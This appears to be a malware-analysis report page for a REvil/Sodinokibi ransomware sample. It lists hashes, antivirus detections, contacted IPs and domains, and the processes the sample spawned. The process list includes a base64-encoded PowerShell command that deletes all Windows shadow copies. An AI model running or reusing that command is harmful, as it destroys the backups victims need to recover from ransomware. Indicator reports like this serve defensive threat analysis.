498db1354a8ab657af66e7acb8df73c649e18a29ab32408989a46c39654e6337

Classification: Malicious

498db1354a8ab657af66e7acb8df73c649e18a29ab32408989a46c39654e6337 is a ransomware (Windows executable, 115.5 KB). Linked to Revil malware.

Detection summary

  • 69 antivirus detections (74% detection ratio)
  • 1 IDS alerts
  • 2 processes observed
  • 32 contacted hosts
  • 32 DNS requests

MITRE ATT&CK associations

Malware families: REVIL (S0496)

Blacklist sightings

Description Source First seen Last seen Labels MITRE ATT&CK
DeepScan:Generic.Ransom.Sodinokibi Hybrid-Analysis 2020-07-06 01:15:11 2020-07-06 01:15:11 S0496 REvil

Tags

ransomware

Sample information

Filenames
80d39701d3727f48b9e7b666ed2550d5
File type
PE32 executable (GUI) Intel 80386, for MS Windows
Size
118272 bytes
MD5
80d39701d3727f48b9e7b666ed2550d5
SHA-1
9fe2879b1df8c05059346750c76a095a95b456b3
SHA-256
498db1354a8ab657af66e7acb8df73c649e18a29ab32408989a46c39654e6337
First indexed
2020-07-06 01:15:11
Last updated
2026-09-30 20:54:00

Antivirus detections

EngineDetection
BkavW32.AIDetectVM.malware2
DrWebTrojan.Encoder.28004
MicroWorld-eScanDeepScan:Generic.Ransom.Sodinokibi.9EB8E166
McAfeeSodinokibi!80D39701D372
MalwarebytesRansom.Sodinokibi
K7AntiVirusTrojan ( 0054d99c1 )
K7GWTrojan ( 0054d99c1 )
CrowdStrikewin/malicious_confidence_100% (D)
Invinceaheuristic
BitDefenderThetaAI:Packer.E7632E1F1E
F-ProtW32/Kryptik.AKW.gen!Eldorado
SymantecRansom.Sodinokibi
ESET-NOD32a variant of Win32/Filecoder.Sodinokibi.B
APEXMalicious
ClamAVWin.Ransomware.Sodinokibi-7013612-0
KasperskyHEUR:Trojan-Ransom.Win32.Gen.gen
BitDefenderDeepScan:Generic.Ransom.Sodinokibi.9EB8E166
NANO-AntivirusVirus.Win32.Gen.ccmw
Ad-AwareDeepScan:Generic.Ransom.Sodinokibi.9EB8E166
F-SecureTrojan.TR/Crypt.XPACK.Gen
TrendMicroRansom.Win32.SODINOKIB.SMTH
Trapminemalicious.high.ml.score
FireEyeGeneric.mg.80d39701d3727f48
EmsisoftDeepScan:Generic.Ransom.Sodinokibi.9EB8E166 (B)
SentinelOneDFI - Malicious PE
CyrenW32/Kryptik.AKW.gen!Eldorado
JiangminTrojan.Sodin.z
AviraTR/Crypt.XPACK.Gen
MAXmalware (ai score=85)
Antiy-AVLTrojan[Ransom]/Win32.Gen
MicrosoftRansom:Win32/Sodinokibi.DSB!MTB
Endgamemalicious (high confidence)
ArcabitDeepScan:Generic.Ransom.Sodinokibi.9EB8E166
ZoneAlarmHEUR:Trojan-Ransom.Win32.Gen.gen
GDataDeepScan:Generic.Ransom.Sodinokibi.9EB8E166
CynetMalicious (score: 100)
AhnLab-V3Trojan/Win32.RL_Ransom.R290570
Acronissuspicious
VBA32BScope.Trojan.DelShad
ALYacDeepScan:Generic.Ransom.Sodinokibi.9EB8E166
CylanceUnsafe
PandaTrj/GdSda.A
TrendMicro-HouseCallRansom.Win32.SODINOKIB.SMTH
TencentMalware.Win32.Gencirc.119979e5
YandexTrojan.Filecoder!i8F89yM0sus
IkarusTrojan-Ransom.Sodinokibi
eGambitUnsafe.AI_Score_94%
FortinetW32/Sodinokibi.B!tr.ransom
WebrootW32.Gen.Gen
AVGWin32:Trojan-gen
Cybereasonmalicious.1d3727
AvastWin32:Trojan-gen
Qihoo-360HEUR/QVM20.1.5EDB.Malware.Gen
ALYacTrojan.Ransom.Sodinokibi
AlibabaRansom:Win32/generic.ali2000010
CAT-QuickHealTrojan.GenRI.S14353573
ComodoMalware@#v92xhqlr7n4x
CrowdStrikewin/malicious_confidence_100% (W)
Elasticmalicious (high confidence)
InvinceaMal/Generic-R + Troj/Sodino-BU
MicrosoftRansom:Win32/Revil.SD!MTB
Paloaltogeneric.ml
RisingRansom.Sodin!8.10CD8 (TFE:2:tgu5Cp8rQfB)
SangforMalware
SophosTroj/Sodino-BU
SymantecTrojan Horse
TACHYONRansom/W32.Sodinokibi.118272
TencentMalware.Win32.Gencirc.10cddacc
ZillyaTrojan.Filecoder.Win32.15340

Network contacts

172.67.213.15 134.119.76.46 35.209.107.7 188.40.30.16 45.40.155.145 66.45.228.160 204.187.12.34 91.239.67.153 85.214.103.90 109.203.125.33 142.93.110.250 143.205.173.125 134.119.122.182 149.210.196.35 46.32.240.45 217.160.0.197 185.114.108.107 184.168.131.241 145.131.29.142 162.255.85.228 165.227.36.67 89.161.222.203 83.143.220.151 81.16.38.44 192.0.78.12 185.5.53.29 185.233.152.80 209.50.57.34 138.201.194.220 104.24.124.195 154.86.243.195 104.27.149.212

DNS requests

1team.es aakritpatel.com admos-gleitlager.de alfa-stroy72.com allfortheloveofyou.com antiaginghealthbenefits.com anybookreader.de apprendrelaudit.com artige.com associationanalytics.com atalent.fi babcockchurch.org balticdermatology.lt basisschooldezonnewijzer.nl bayoga.co.uk bimnapratica.com blumenhof-wegleitner.at body-guards.it bodyforwife.com braffinjurylawfirm.com brandl-blumen.de burkert-ideenreich.de centrospgolega.com chandlerpd.com chatizel-paysage.fr cimanchesterescorts.co.uk colorofhorses.com ctrler.cn dlc.berlin dramagickcom.wordpress.com drfoyle.com dupontsellshomes.com

Process list

NameCommand line
80d39701d3727f48b9e7b666ed2550d5.exe
powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==